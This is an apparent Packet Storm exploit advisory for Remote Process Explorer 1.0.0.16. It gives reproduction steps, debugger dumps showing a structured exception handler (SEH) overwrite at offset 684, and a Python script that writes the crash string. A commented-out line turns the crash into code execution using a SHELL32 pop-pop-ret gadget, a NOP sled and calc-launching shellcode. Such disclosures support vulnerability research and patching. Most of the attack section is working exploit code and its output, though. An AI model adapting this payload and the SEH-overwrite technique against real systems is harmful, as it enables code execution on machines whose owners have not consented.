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Remote Process Explorer 1.0.0.16 Denial Of Service

🗓️ 02 Feb 2019 00:00:00Reported by Rafael PedreroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 276 Views

Remote Process Explorer v1.0.0.16 Denial of Service (PoC) and SEH overwritten Crash PoC, discovered by Rafael Pedrero in 2019-01-30. Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow on Windows XP SP3

Code
`# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2019-01-30  
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16  
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16  
# Tested Version: 1.0.0.16  
# Tested on: Windows XP SP3  
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow  
  
# Steps to Produce the Crash:  
# 1.- Run rpexplorer.exe  
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)  
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.  
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.  
  
'''  
  
Detect:  
  
SEH chain of thread 00000144  
Address SE handler  
0114FEC8 78413977  
41387741 *** CORRUPT ENTRY ***  
  
EAX 0114FEBC  
ECX 0114FEC0 ASCII  
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B  
EDX 41347741  
EBX 0116236C  
ESP 0114FBF0  
EBP 0114FEC0 ASCII  
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B  
ESI 000000D4  
EDI 00000000  
EIP 00404F48 rpexplor.00404F48  
C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 0 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFDC000(FFF)  
T 0 GS 0000 NULL  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)  
ST0 empty  
ST1 empty  
ST2 empty  
ST3 empty  
ST4 empty  
ST5 empty  
ST6 empty  
ST7 empty  
3 2 1 0 E S P U O Z D I  
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)  
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0  
  
Log data, item 24  
Address=0BADF00D  
Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal  
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data  
after the handler  
  
Check after script:  
  
SEH chain of thread 00000D04  
Address SE handler  
0114FEC8 43434343  
42424242 *** CORRUPT ENTRY ***  
  
  
Log data, item 53  
Address=7E6E5E50  
Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii  
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:  
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)  
  
  
'''  
  
#!/usr/bin/env python  
  
'''  
calc = ("\x31\xC9" # xor ecx,ecx  
"\x51" # push ecx  
"\x68\x63\x61\x6C\x63" # push 0x636c6163  
"\x54" # push dword ptr esp  
"\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7  
"\xFF\xD0") # call eax  
'''  
  
crash = "\x41" * 684 + "BBBB" + "CCCC"  
#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)  
f = open ("rpexplorer_Crash.txt", "w")  
f.write(crash)  
f.close()  
`

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